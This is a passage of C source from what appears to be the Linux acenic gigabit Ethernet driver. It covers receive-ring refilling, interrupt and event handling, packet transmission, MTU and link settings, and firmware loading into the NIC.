cmd cmd; cmd.evt = C_SET_RX_PRD_IDX; cmd.code = 0; cmd.idx = ap->rx_std_skbprd; ace_issue_cmd(regs, &cmd); } else { writel(idx, &regs->RxStdPrd); wmb(); } out: clear_bit(0, &ap->std_refill_busy); return; error_out: printk(KERN_INFO "Out of memory when allocating " "standard receive buffers\n"); goto out; } static void ace_load_mini_rx_ring(struct net_device *dev, int nr_bufs) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; short i, idx; prefetchw(&ap->cur_mini_bufs); idx = ap->rx_mini_skbprd; for (i = 0; i < nr_bufs; i++) { struct sk_buff *skb; struct rx_desc *rd; dma_addr_t mapping; skb = netdev_alloc_skb_ip_align(dev, ACE_MINI_BUFSIZE); if (!skb) break; mapping = pci_map_page(ap->pdev, virt_to_page(skb->data), offset_in_page(skb->data), ACE_MINI_BUFSIZE, PCI_DMA_FROMDEVICE); ap->skb->rx_mini_skbuff[idx].skb = skb; dma_unmap_addr_set(&ap->skb->rx_mini_skbuff[idx], mapping, mapping); rd = &ap->rx_mini_ring[idx]; set_aceaddr(&rd->addr, mapping); rd->size = ACE_MINI_BUFSIZE; rd->idx = idx; idx = (idx + 1) % RX_MINI_RING_ENTRIES; } if (!i) goto error_out; atomic_add(i, &ap->cur_mini_bufs); ap->rx_mini_skbprd = idx; writel(idx, &regs->RxMiniPrd); wmb(); out: clear_bit(0, &ap->mini_refill_busy); return; error_out: printk(KERN_INFO "Out of memory when allocating " "mini receive buffers\n"); goto out; } /* * Load the jumbo rx ring, this may happen at any time if the MTU * is changed to a value > 1500. */ static void ace_load_jumbo_rx_ring(struct net_device *dev, int nr_bufs) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; short i, idx; idx = ap->rx_jumbo_skbprd; for (i = 0; i < nr_bufs; i++) { struct sk_buff *skb; struct rx_desc *rd; dma_addr_t mapping; skb = netdev_alloc_skb_ip_align(dev, ACE_JUMBO_BUFSIZE); if (!skb) break; mapping = pci_map_page(ap->pdev, virt_to_page(skb->data), offset_in_page(skb->data), ACE_JUMBO_BUFSIZE, PCI_DMA_FROMDEVICE); ap->skb->rx_jumbo_skbuff[idx].skb = skb; dma_unmap_addr_set(&ap->skb->rx_jumbo_skbuff[idx], mapping, mapping); rd = &ap->rx_jumbo_ring[idx]; set_aceaddr(&rd->addr, mapping); rd->size = ACE_JUMBO_BUFSIZE; rd->idx = idx; idx = (idx + 1) % RX_JUMBO_RING_ENTRIES; } if (!i) goto error_out; atomic_add(i, &ap->cur_jumbo_bufs); ap->rx_jumbo_skbprd = idx; if (ACE_IS_TIGON_I(ap)) { struct cmd cmd; cmd.evt = C_SET_RX_JUMBO_PRD_IDX; cmd.code = 0; cmd.idx = ap->rx_jumbo_skbprd; ace_issue_cmd(regs, &cmd); } else { writel(idx, &regs->RxJumboPrd); wmb(); } out: clear_bit(0, &ap->jumbo_refill_busy); return; error_out: if (net_ratelimit()) printk(KERN_INFO "Out of memory when allocating " "jumbo receive buffers\n"); goto out; } /* * All events are considered to be slow (RX/TX ints do not generate * events) and are handled here, outside the main interrupt handler, * to reduce the size of the handler. */ static u32 ace_handle_event(struct net_device *dev, u32 evtcsm, u32 evtprd) { struct ace_private *ap; ap = netdev_priv(dev); while (evtcsm != evtprd) { switch (ap->evt_ring[evtcsm].evt) { case E_FW_RUNNING: printk(KERN_INFO "%s: Firmware up and running\n", ap->name); ap->fw_running = 1; wmb(); break; case E_STATS_UPDATED: break; case E_LNK_STATE: { u16 code = ap->evt_ring[evtcsm].code; switch (code) { case E_C_LINK_UP: { u32 state = readl(&ap->regs->GigLnkState); printk(KERN_WARNING "%s: Optical link UP " "(%s Duplex, Flow Control: %s%s)\n", ap->name, state & LNK_FULL_DUPLEX ? "Full":"Half", state & LNK_TX_FLOW_CTL_Y ? "TX " : "", state & LNK_RX_FLOW_CTL_Y ? "RX" : ""); break; } case E_C_LINK_DOWN: printk(KERN_WARNING "%s: Optical link DOWN\n", ap->name); break; case E_C_LINK_10_100: printk(KERN_WARNING "%s: 10/100BaseT link " "UP\n", ap->name); break; default: printk(KERN_ERR "%s: Unknown optical link " "state %02x\n", ap->name, code); } break; } case E_ERROR: switch(ap->evt_ring[evtcsm].code) { case E_C_ERR_INVAL_CMD: printk(KERN_ERR "%s: invalid command error\n", ap->name); break; case E_C_ERR_UNIMP_CMD: printk(KERN_ERR "%s: unimplemented command " "error\n", ap->name); break; case E_C_ERR_BAD_CFG: printk(KERN_ERR "%s: bad config error\n", ap->name); break; default: printk(KERN_ERR "%s: unknown error %02x\n", ap->name, ap->evt_ring[evtcsm].code); } break; case E_RESET_JUMBO_RNG: { int i; for (i = 0; i < RX_JUMBO_RING_ENTRIES; i++) { if (ap->skb->rx_jumbo_skbuff[i].skb) { ap->rx_jumbo_ring[i].size = 0; set_aceaddr(&ap->rx_jumbo_ring[i].addr, 0); dev_kfree_skb(ap->skb->rx_jumbo_skbuff[i].skb); ap->skb->rx_jumbo_skbuff[i].skb = NULL; } } if (ACE_IS_TIGON_I(ap)) { struct cmd cmd; cmd.evt = C_SET_RX_JUMBO_PRD_IDX; cmd.code = 0; cmd.idx = 0; ace_issue_cmd(ap->regs, &cmd); } else { writel(0, &((ap->regs)->RxJumboPrd)); wmb(); } ap->jumbo = 0; ap->rx_jumbo_skbprd = 0; printk(KERN_INFO "%s: Jumbo ring flushed\n", ap->name); clear_bit(0, &ap->jumbo_refill_busy); break; } default: printk(KERN_ERR "%s: Unhandled event 0x%02x\n", ap->name, ap->evt_ring[evtcsm].evt); } evtcsm = (evtcsm + 1) % EVT_RING_ENTRIES; } return evtcsm; } static void ace_rx_int(struct net_device *dev, u32 rxretprd, u32 rxretcsm) { struct ace_private *ap = netdev_priv(dev); u32 idx; int mini_count = 0, std_count = 0; idx = rxretcsm; prefetchw(&ap->cur_rx_bufs); prefetchw(&ap->cur_mini_bufs); while (idx != rxretprd) { struct ring_info *rip; struct sk_buff *skb; struct rx_desc *rxdesc, *retdesc; u32 skbidx; int bd_flags, desc_type, mapsize; u16 csum; /* make sure the rx descriptor isn't read before rxretprd */ if (idx == rxretcsm) rmb(); retdesc = &ap->rx_return_ring[idx]; skbidx = retdesc->idx; bd_flags = retdesc->flags; desc_type = bd_flags & (BD_FLG_JUMBO | BD_FLG_MINI); switch(desc_type) { /* * Normal frames do not have any flags set * * Mini and normal frames arrive frequently, * so use a local counter to avoid doing * atomic operations for each packet arriving. */ case 0: rip = &ap->skb->rx_std_skbuff[skbidx]; mapsize = ACE_STD_BUFSIZE; rxdesc = &ap->rx_std_ring[skbidx]; std_count++; break; case BD_FLG_JUMBO: rip = &ap->skb->rx_jumbo_skbuff[skbidx]; mapsize = ACE_JUMBO_BUFSIZE; rxdesc = &ap->rx_jumbo_ring[skbidx]; atomic_dec(&ap->cur_jumbo_bufs); break; case BD_FLG_MINI: rip = &ap->skb->rx_mini_skbuff[skbidx]; mapsize = ACE_MINI_BUFSIZE; rxdesc = &ap->rx_mini_ring[skbidx]; mini_count++; break; default: printk(KERN_INFO "%s: unknown frame type (0x%02x) " "returned by NIC\n", dev->name, retdesc->flags); goto error; } skb = rip->skb; rip->skb = NULL; pci_unmap_page(ap->pdev, dma_unmap_addr(rip, mapping), mapsize, PCI_DMA_FROMDEVICE); skb_put(skb, retdesc->size); /* * Fly baby, fly! */ csum = retdesc->tcp_udp_csum; skb->protocol = eth_type_trans(skb, dev); /* * Instead of forcing the poor tigon mips cpu to calculate * pseudo hdr checksum, we do this ourselves. */ if (bd_flags & BD_FLG_TCP_UDP_SUM) { skb->csum = htons(csum); skb->ip_summed = CHECKSUM_COMPLETE; } else { skb_checksum_none_assert(skb); } /* send it up */ if ((bd_flags & BD_FLG_VLAN_TAG)) __vlan_hwaccel_put_tag(skb, htons(ETH_P_8021Q), retdesc->vlan); netif_rx(skb); dev->stats.rx_packets++; dev->stats.rx_bytes += retdesc->size; idx = (idx + 1) % RX_RETURN_RING_ENTRIES; } atomic_sub(std_count, &ap->cur_rx_bufs); if (!ACE_IS_TIGON_I(ap)) atomic_sub(mini_count, &ap->cur_mini_bufs); out: /* * According to the documentation RxRetCsm is obsolete with * the 12.3.x Firmware - my Tigon I NICs seem to disagree! */ if (ACE_IS_TIGON_I(ap)) { writel(idx, &ap->regs->RxRetCsm); } ap->cur_rx = idx; return; error: idx = rxretprd; goto out; } static inline void ace_tx_int(struct net_device *dev, u32 txcsm, u32 idx) { struct ace_private *ap = netdev_priv(dev); do { struct sk_buff *skb; struct tx_ring_info *info; info = ap->skb->tx_skbuff + idx; skb = info->skb; if (dma_unmap_len(info, maplen)) { pci_unmap_page(ap->pdev, dma_unmap_addr(info, mapping), dma_unmap_len(info, maplen), PCI_DMA_TODEVICE); dma_unmap_len_set(info, maplen, 0); } if (skb) { dev->stats.tx_packets++; dev->stats.tx_bytes += skb->len; dev_kfree_skb_irq(skb); info->skb = NULL; } idx = (idx + 1) % ACE_TX_RING_ENTRIES(ap); } while (idx != txcsm); if (netif_queue_stopped(dev)) netif_wake_queue(dev); wmb(); ap->tx_ret_csm = txcsm; /* So... tx_ret_csm is advanced _after_ check for device wakeup. * * We could try to make it before. In this case we would get * the following race condition: hard_start_xmit on other cpu * enters after we advanced tx_ret_csm and fills space, * which we have just freed, so that we make illegal device wakeup. * There is no good way to workaround this (at entry * to ace_start_xmit detects this condition and prevents * ring corruption, but it is not a good workaround.) * * When tx_ret_csm is advanced after, we wake up device _only_ * if we really have some space in ring (though the core doing * hard_start_xmit can see full ring for some period and has to * synchronize.) Superb. * BUT! We get another subtle race condition. hard_start_xmit * may think that ring is full between wakeup and advancing * tx_ret_csm and will stop device instantly! It is not so bad. * We are guaranteed that there is something in ring, so that * the next irq will resume transmission. To speedup this we could * mark descriptor, which closes ring with BD_FLG_COAL_NOW * (see ace_start_xmit). * * Well, this dilemma exists in all lock-free devices. * We, following scheme used in drivers by Donald Becker, * select the least dangerous. * --ANK */ } static irqreturn_t ace_interrupt(int irq, void *dev_id) { struct net_device *dev = (struct net_device *)dev_id; struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; u32 idx; u32 txcsm, rxretcsm, rxretprd; u32 evtcsm, evtprd; /* * In case of PCI shared interrupts or spurious interrupts, * we want to make sure it is actually our interrupt before * spending any time in here. */ if (!(readl(&regs->HostCtrl) & IN_INT)) return IRQ_NONE; /* * ACK intr now. Otherwise we will lose updates to rx_ret_prd, * which happened _after_ rxretprd = *ap->rx_ret_prd; but before * writel(0, &regs->Mb0Lo). * * "IRQ avoidance" recommended in docs applies to IRQs served * threads and it is wrong even for that case. */ writel(0, &regs->Mb0Lo); readl(&regs->Mb0Lo); /* * There is no conflict between transmit handling in * start_xmit and receive processing, thus there is no reason * to take a spin lock for RX handling. Wait until we start * working on the other stuff - hey we don't need a spin lock * anymore. */ rxretprd = *ap->rx_ret_prd; rxretcsm = ap->cur_rx; if (rxretprd != rxretcsm) ace_rx_int(dev, rxretprd, rxretcsm); txcsm = *ap->tx_csm; idx = ap->tx_ret_csm; if (txcsm != idx) { /* * If each skb takes only one descriptor this check degenerates * to identity, because new space has just been opened. * But if skbs are fragmented we must check that this index * update releases enough of space, otherwise we just * wait for device to make more work. */ if (!tx_ring_full(ap, txcsm, ap->tx_prd)) ace_tx_int(dev, txcsm, idx); } evtcsm = readl(&regs->EvtCsm); evtprd = *ap->evt_prd; if (evtcsm != evtprd) { evtcsm = ace_handle_event(dev, evtcsm, evtprd); writel(evtcsm, &regs->EvtCsm); } /* * This has to go last in the interrupt handler and run with * the spin lock released ... what lock? */ if (netif_running(dev)) { int cur_size; int run_tasklet = 0; cur_size = atomic_read(&ap->cur_rx_bufs); if (cur_size < RX_LOW_STD_THRES) { if ((cur_size < RX_PANIC_STD_THRES) && !test_and_set_bit(0, &ap->std_refill_busy)) { #ifdef DEBUG printk("low on std buffers %i\n", cur_size); #endif ace_load_std_rx_ring(dev, RX_RING_SIZE - cur_size); } else run_tasklet = 1; } if (!ACE_IS_TIGON_I(ap)) { cur_size = atomic_read(&ap->cur_mini_bufs); if (cur_size < RX_LOW_MINI_THRES) { if ((cur_size < RX_PANIC_MINI_THRES) && !test_and_set_bit(0, &ap->mini_refill_busy)) { #ifdef DEBUG printk("low on mini buffers %i\n", cur_size); #endif ace_load_mini_rx_ring(dev, RX_MINI_SIZE - cur_size); } else run_tasklet = 1; } } if (ap->jumbo) { cur_size = atomic_read(&ap->cur_jumbo_bufs); if (cur_size < RX_LOW_JUMBO_THRES) { if ((cur_size < RX_PANIC_JUMBO_THRES) && !test_and_set_bit(0, &ap->jumbo_refill_busy)){ #ifdef DEBUG printk("low on jumbo buffers %i\n", cur_size); #endif ace_load_jumbo_rx_ring(dev, RX_JUMBO_SIZE - cur_size); } else run_tasklet = 1; } } if (run_tasklet && !ap->tasklet_pending) { ap->tasklet_pending = 1; tasklet_schedule(&ap->ace_tasklet); } } return IRQ_HANDLED; } static int ace_open(struct net_device *dev) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; struct cmd cmd; if (!(ap->fw_running)) { printk(KERN_WARNING "%s: Firmware not running!\n", dev->name); return -EBUSY; } writel(dev->mtu + ETH_HLEN + 4, &regs->IfMtu); cmd.evt = C_CLEAR_STATS; cmd.code = 0; cmd.idx = 0; ace_issue_cmd(regs, &cmd); cmd.evt = C_HOST_STATE; cmd.code = C_C_STACK_UP; cmd.idx = 0; ace_issue_cmd(regs, &cmd); if (ap->jumbo && !test_and_set_bit(0, &ap->jumbo_refill_busy)) ace_load_jumbo_rx_ring(dev, RX_JUMBO_SIZE); if (dev->flags & IFF_PROMISC) { cmd.evt = C_SET_PROMISC_MODE; cmd.code = C_C_PROMISC_ENABLE; cmd.idx = 0; ace_issue_cmd(regs, &cmd); ap->promisc = 1; }else ap->promisc = 0; ap->mcast_all = 0; #if 0 cmd.evt = C_LNK_NEGOTIATION; cmd.code = 0; cmd.idx = 0; ace_issue_cmd(regs, &cmd); #endif netif_start_queue(dev); /* * Setup the bottom half rx ring refill handler */ tasklet_init(&ap->ace_tasklet, ace_tasklet, (unsigned long)dev); return 0; } static int ace_close(struct net_device *dev) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; struct cmd cmd; unsigned long flags; short i; /* * Without (or before) releasing irq and stopping hardware, this * is an absolute non-sense, by the way. It will be reset instantly * by the first irq. */ netif_stop_queue(dev); if (ap->promisc) { cmd.evt = C_SET_PROMISC_MODE; cmd.code = C_C_PROMISC_DISABLE; cmd.idx = 0; ace_issue_cmd(regs, &cmd); ap->promisc = 0; } cmd.evt = C_HOST_STATE; cmd.code = C_C_STACK_DOWN; cmd.idx = 0; ace_issue_cmd(regs, &cmd); tasklet_kill(&ap->ace_tasklet); /* * Make sure one CPU is not processing packets while * buffers are being released by another. */ local_irq_save(flags); ace_mask_irq(dev); for (i = 0; i < ACE_TX_RING_ENTRIES(ap); i++) { struct sk_buff *skb; struct tx_ring_info *info; info = ap->skb->tx_skbuff + i; skb = info->skb; if (dma_unmap_len(info, maplen)) { if (ACE_IS_TIGON_I(ap)) { /* NB: TIGON_1 is special, tx_ring is in io space */ struct tx_desc __iomem *tx; tx = (__force struct tx_desc __iomem *) &ap->tx_ring[i]; writel(0, &tx->addr.addrhi); writel(0, &tx->addr.addrlo); writel(0, &tx->flagsize); } else memset(ap->tx_ring + i, 0, sizeof(struct tx_desc)); pci_unmap_page(ap->pdev, dma_unmap_addr(info, mapping), dma_unmap_len(info, maplen), PCI_DMA_TODEVICE); dma_unmap_len_set(info, maplen, 0); } if (skb) { dev_kfree_skb(skb); info->skb = NULL; } } if (ap->jumbo) { cmd.evt = C_RESET_JUMBO_RNG; cmd.code = 0; cmd.idx = 0; ace_issue_cmd(regs, &cmd); } ace_unmask_irq(dev); local_irq_restore(flags); return 0; } static inline dma_addr_t ace_map_tx_skb(struct ace_private *ap, struct sk_buff *skb, struct sk_buff *tail, u32 idx) { dma_addr_t mapping; struct tx_ring_info *info; mapping = pci_map_page(ap->pdev, virt_to_page(skb->data), offset_in_page(skb->data), skb->len, PCI_DMA_TODEVICE); info = ap->skb->tx_skbuff + idx; info->skb = tail; dma_unmap_addr_set(info, mapping, mapping); dma_unmap_len_set(info, maplen, skb->len); return mapping; } static inline void ace_load_tx_bd(struct ace_private *ap, struct tx_desc *desc, u64 addr, u32 flagsize, u32 vlan_tag) { #if !USE_TX_COAL_NOW flagsize &= ~BD_FLG_COAL_NOW; #endif if (ACE_IS_TIGON_I(ap)) { struct tx_desc __iomem *io = (__force struct tx_desc __iomem *) desc; writel(addr >> 32, &io->addr.addrhi); writel(addr & 0xffffffff, &io->addr.addrlo); writel(flagsize, &io->flagsize); writel(vlan_tag, &io->vlanres); } else { desc->addr.addrhi = addr >> 32; desc->addr.addrlo = addr; desc->flagsize = flagsize; desc->vlanres = vlan_tag; } } static netdev_tx_t ace_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; struct tx_desc *desc; u32 idx, flagsize; unsigned long maxjiff = jiffies + 3*HZ; restart: idx = ap->tx_prd; if (tx_ring_full(ap, ap->tx_ret_csm, idx)) goto overflow; if (!skb_shinfo(skb)->nr_frags) { dma_addr_t mapping; u32 vlan_tag = 0; mapping = ace_map_tx_skb(ap, skb, skb, idx); flagsize = (skb->len << 16) | (BD_FLG_END); if (skb->ip_summed == CHECKSUM_PARTIAL) flagsize |= BD_FLG_TCP_UDP_SUM; if (vlan_tx_tag_present(skb)) { flagsize |= BD_FLG_VLAN_TAG; vlan_tag = vlan_tx_tag_get(skb); } desc = ap->tx_ring + idx; idx = (idx + 1) % ACE_TX_RING_ENTRIES(ap); /* Look at ace_tx_int for explanations. */ if (tx_ring_full(ap, ap->tx_ret_csm, idx)) flagsize |= BD_FLG_COAL_NOW; ace_load_tx_bd(ap, desc, mapping, flagsize, vlan_tag); } else { dma_addr_t mapping; u32 vlan_tag = 0; int i, len = 0; mapping = ace_map_tx_skb(ap, skb, NULL, idx); flagsize = (skb_headlen(skb) << 16); if (skb->ip_summed == CHECKSUM_PARTIAL) flagsize |= BD_FLG_TCP_UDP_SUM; if (vlan_tx_tag_present(skb)) { flagsize |= BD_FLG_VLAN_TAG; vlan_tag = vlan_tx_tag_get(skb); } ace_load_tx_bd(ap, ap->tx_ring + idx, mapping, flagsize, vlan_tag); idx = (idx + 1) % ACE_TX_RING_ENTRIES(ap); for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) { const skb_frag_t *frag = &skb_shinfo(skb)->frags[i]; struct tx_ring_info *info; len += skb_frag_size(frag); info = ap->skb->tx_skbuff + idx; desc = ap->tx_ring + idx; mapping = skb_frag_dma_map(&ap->pdev->dev, frag, 0, skb_frag_size(frag), DMA_TO_DEVICE); flagsize = skb_frag_size(frag) << 16; if (skb->ip_summed == CHECKSUM_PARTIAL) flagsize |= BD_FLG_TCP_UDP_SUM; idx = (idx + 1) % ACE_TX_RING_ENTRIES(ap); if (i == skb_shinfo(skb)->nr_frags - 1) { flagsize |= BD_FLG_END; if (tx_ring_full(ap, ap->tx_ret_csm, idx)) flagsize |= BD_FLG_COAL_NOW; /* * Only the last fragment frees * the skb! */ info->skb = skb; } else { info->skb = NULL; } dma_unmap_addr_set(info, mapping, mapping); dma_unmap_len_set(info, maplen, skb_frag_size(frag)); ace_load_tx_bd(ap, desc, mapping, flagsize, vlan_tag); } } wmb(); ap->tx_prd = idx; ace_set_txprd(regs, ap, idx); if (flagsize & BD_FLG_COAL_NOW) { netif_stop_queue(dev); /* * A TX-descriptor producer (an IRQ) might have gotten * between, making the ring free again. Since xmit is * serialized, this is the only situation we have to * re-test. */ if (!tx_ring_full(ap, ap->tx_ret_csm, idx)) netif_wake_queue(dev); } return NETDEV_TX_OK; overflow: /* * This race condition is unavoidable with lock-free drivers. * We wake up the queue _before_ tx_prd is advanced, so that we can * enter hard_start_xmit too early, while tx ring still looks closed. * This happens ~1-4 times per 100000 packets, so that we can allow * to loop syncing to other CPU. Probably, we need an additional * wmb() in ace_tx_intr as well. * * Note that this race is relieved by reserving one more entry * in tx ring than it is necessary (see original non-SG driver). * However, with SG we need to reserve 2*MAX_SKB_FRAGS+1, which * is already overkill. * * Alternative is to return with 1 not throttling queue. In this * case loop becomes longer, no more useful effects. */ if (time_before(jiffies, maxjiff)) { barrier(); cpu_relax(); goto restart; } /* The ring is stuck full. */ printk(KERN_WARNING "%s: Transmit ring stuck full\n", dev->name); return NETDEV_TX_BUSY; } static int ace_change_mtu(struct net_device *dev, int new_mtu) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; if (new_mtu > ACE_JUMBO_MTU) return -EINVAL; writel(new_mtu + ETH_HLEN + 4, &regs->IfMtu); dev->mtu = new_mtu; if (new_mtu > ACE_STD_MTU) { if (!(ap->jumbo)) { printk(KERN_INFO "%s: Enabling Jumbo frame " "support\n", dev->name); ap->jumbo = 1; if (!test_and_set_bit(0, &ap->jumbo_refill_busy)) ace_load_jumbo_rx_ring(dev, RX_JUMBO_SIZE); ace_set_rxtx_parms(dev, 1); } } else { while (test_and_set_bit(0, &ap->jumbo_refill_busy)); ace_sync_irq(dev->irq); ace_set_rxtx_parms(dev, 0); if (ap->jumbo) { struct cmd cmd; cmd.evt = C_RESET_JUMBO_RNG; cmd.code = 0; cmd.idx = 0; ace_issue_cmd(regs, &cmd); } } return 0; } static int ace_get_settings(struct net_device *dev, struct ethtool_cmd *ecmd) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; u32 link; memset(ecmd, 0, sizeof(struct ethtool_cmd)); ecmd->supported = (SUPPORTED_10baseT_Half | SUPPORTED_10baseT_Full | SUPPORTED_100baseT_Half | SUPPORTED_100baseT_Full | SUPPORTED_1000baseT_Half | SUPPORTED_1000baseT_Full | SUPPORTED_Autoneg | SUPPORTED_FIBRE); ecmd->port = PORT_FIBRE; ecmd->transceiver = XCVR_INTERNAL; link = readl(&regs->GigLnkState); if (link & LNK_1000MB) ethtool_cmd_speed_set(ecmd, SPEED_1000); else { link = readl(&regs->FastLnkState); if (link & LNK_100MB) ethtool_cmd_speed_set(ecmd, SPEED_100); else if (link & LNK_10MB) ethtool_cmd_speed_set(ecmd, SPEED_10); else ethtool_cmd_speed_set(ecmd, 0); } if (link & LNK_FULL_DUPLEX) ecmd->duplex = DUPLEX_FULL; else ecmd->duplex = DUPLEX_HALF; if (link & LNK_NEGOTIATE) ecmd->autoneg = AUTONEG_ENABLE; else ecmd->autoneg = AUTONEG_DISABLE; #if 0 /* * Current struct ethtool_cmd is insufficient */ ecmd->trace = readl(&regs->TuneTrace); ecmd->txcoal = readl(&regs->TuneTxCoalTicks); ecmd->rxcoal = readl(&regs->TuneRxCoalTicks); #endif ecmd->maxtxpkt = readl(&regs->TuneMaxTxDesc); ecmd->maxrxpkt = readl(&regs->TuneMaxRxDesc); return 0; } static int ace_set_settings(struct net_device *dev, struct ethtool_cmd *ecmd) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; u32 link, speed; link = readl(&regs->GigLnkState); if (link & LNK_1000MB) speed = SPEED_1000; else { link = readl(&regs->FastLnkState); if (link & LNK_100MB) speed = SPEED_100; else if (link & LNK_10MB) speed = SPEED_10; else speed = SPEED_100; } link = LNK_ENABLE | LNK_1000MB | LNK_100MB | LNK_10MB | LNK_RX_FLOW_CTL_Y | LNK_NEG_FCTL; if (!ACE_IS_TIGON_I(ap)) link |= LNK_TX_FLOW_CTL_Y; if (ecmd->autoneg == AUTONEG_ENABLE) link |= LNK_NEGOTIATE; if (ethtool_cmd_speed(ecmd) != speed) { link &= ~(LNK_1000MB | LNK_100MB | LNK_10MB); switch (ethtool_cmd_speed(ecmd)) { case SPEED_1000: link |= LNK_1000MB; break; case SPEED_100: link |= LNK_100MB; break; case SPEED_10: link |= LNK_10MB; break; } } if (ecmd->duplex == DUPLEX_FULL) link |= LNK_FULL_DUPLEX; if (link != ap->link) { struct cmd cmd; printk(KERN_INFO "%s: Renegotiating link state\n", dev->name); ap->link = link; writel(link, &regs->TuneLink); if (!ACE_IS_TIGON_I(ap)) writel(link, &regs->TuneFastLink); wmb(); cmd.evt = C_LNK_NEGOTIATION; cmd.code = 0; cmd.idx = 0; ace_issue_cmd(regs, &cmd); } return 0; } static void ace_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) { struct ace_private *ap = netdev_priv(dev); strlcpy(info->driver, "acenic", sizeof(info->driver)); snprintf(info->version, sizeof(info->version), "%i.%i.%i", ap->firmware_major, ap->firmware_minor, ap->firmware_fix); if (ap->pdev) strlcpy(info->bus_info, pci_name(ap->pdev), sizeof(info->bus_info)); } /* * Set the hardware MAC address. */ static int ace_set_mac_addr(struct net_device *dev, void *p) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; struct sockaddr *addr=p; u8 *da; struct cmd cmd; if(netif_running(dev)) return -EBUSY; memcpy(dev->dev_addr, addr->sa_data,dev->addr_len); da = (u8 *)dev->dev_addr; writel(da[0] << 8 | da[1], &regs->MacAddrHi); writel((da[2] << 24) | (da[3] << 16) | (da[4] << 8) | da[5], &regs->MacAddrLo); cmd.evt = C_SET_MAC_ADDR; cmd.code = 0; cmd.idx = 0; ace_issue_cmd(regs, &cmd); return 0; } static void ace_set_multicast_list(struct net_device *dev) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; struct cmd cmd; if ((dev->flags & IFF_ALLMULTI) && !(ap->mcast_all)) { cmd.evt = C_SET_MULTICAST_MODE; cmd.code = C_C_MCAST_ENABLE; cmd.idx = 0; ace_issue_cmd(regs, &cmd); ap->mcast_all = 1; } else if (ap->mcast_all) { cmd.evt = C_SET_MULTICAST_MODE; cmd.code = C_C_MCAST_DISABLE; cmd.idx = 0; ace_issue_cmd(regs, &cmd); ap->mcast_all = 0; } if ((dev->flags & IFF_PROMISC) && !(ap->promisc)) { cmd.evt = C_SET_PROMISC_MODE; cmd.code = C_C_PROMISC_ENABLE; cmd.idx = 0; ace_issue_cmd(regs, &cmd); ap->promisc = 1; }else if (!(dev->flags & IFF_PROMISC) && (ap->promisc)) { cmd.evt = C_SET_PROMISC_MODE; cmd.code = C_C_PROMISC_DISABLE; cmd.idx = 0; ace_issue_cmd(regs, &cmd); ap->promisc = 0; } /* * For the time being multicast relies on the upper layers * filtering it properly. The Firmware does not allow one to * set the entire multicast list at a time and keeping track of * it here is going to be messy. */ if (!netdev_mc_empty(dev) && !ap->mcast_all) { cmd.evt = C_SET_MULTICAST_MODE; cmd.code = C_C_MCAST_ENABLE; cmd.idx = 0; ace_issue_cmd(regs, &cmd); }else if (!ap->mcast_all) { cmd.evt = C_SET_MULTICAST_MODE; cmd.code = C_C_MCAST_DISABLE; cmd.idx = 0; ace_issue_cmd(regs, &cmd); } } static struct net_device_stats *ace_get_stats(struct net_device *dev) { struct ace_private *ap = netdev_priv(dev); struct ace_mac_stats __iomem *mac_stats = (struct ace_mac_stats __iomem *)ap->regs->Stats; dev->stats.rx_missed_errors = readl(&mac_stats->drop_space); dev->stats.multicast = readl(&mac_stats->kept_mc); dev->stats.collisions = readl(&mac_stats->coll); return &dev->stats; } static void ace_copy(struct ace_regs __iomem *regs, const __be32 *src, u32 dest, int size) { void __iomem *tdest; short tsize, i; if (size <= 0) return; while (size > 0) { tsize = min_t(u32, ((~dest & (ACE_WINDOW_SIZE - 1)) + 1), min_t(u32, size, ACE_WINDOW_SIZE)); tdest = (void __iomem *) &regs->Window + (dest & (ACE_WINDOW_SIZE - 1)); writel(dest & ~(ACE_WINDOW_SIZE - 1), &regs->WinBase); for (i = 0; i < (tsize / 4); i++) { /* Firmware is big-endian */ writel(be32_to_cpup(src), tdest); src++; tdest += 4; dest += 4; size -= 4; } } } static void ace_clear(struct ace_regs __iomem *regs, u32 dest, int size) { void __iomem *tdest; short tsize = 0, i; if (size <= 0) return; while (size > 0) { tsize = min_t(u32, ((~dest & (ACE_WINDOW_SIZE - 1)) + 1), min_t(u32, size, ACE_WINDOW_SIZE)); tdest = (void __iomem *) &regs->Window + (dest & (ACE_WINDOW_SIZE - 1)); writel(dest & ~(ACE_WINDOW_SIZE - 1), &regs->WinBase); for (i = 0; i < (tsize / 4); i++) { writel(0, tdest + i*4); } dest += tsize; size -= tsize; } } /* * Download the firmware into the SRAM on the NIC * * This operation requires the NIC to be halted and is performed with * interrupts disabled and with the spinlock hold. */ static int ace_load_firmware(struct net_device *dev) { const struct firmware *fw; const char *fw_name = "acenic/tg2.bin"; struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; const __be32 *fw_data; u32 load_addr; int ret; if (!(readl(&regs->CpuCtrl) & CPU_HALTED)) { printk(KERN_ERR "%s: trying to download firmware while the " "CPU is running!\n", ap->name); return -EFAULT; } if (ACE_IS_TIGON_I(ap)) fw_name = "acenic/tg1.bin"; ret = request_firmware(&fw, fw_name, &ap->pdev->dev); if (ret) { printk(KERN_ERR "%s: Failed to load firmware \"%s\"\n", ap->name, fw_name); return ret; } fw_data = (void *)fw->data; /* Firmware blob starts with version numbers, followed by load and start address. Remainder is the blob to be loaded contiguously from load address. We don't bother to represent the BSS/SBSS sections any more, since we were clearing the whole thing anyway. */ ap->firmware_major = fw->data[0]; ap->firmware_minor = fw->data[1]; ap->firmware_fix = fw->data[2]; ap->firmware_start = be32_to_cpu(fw_data[1]); if (ap->firmware_start < 0x4000 || ap->firmware_start >= 0x80000) { printk(KERN_ERR "%s: bogus load address %08x in \"%s\"\n", ap->name, ap->firmware_start, fw_name); 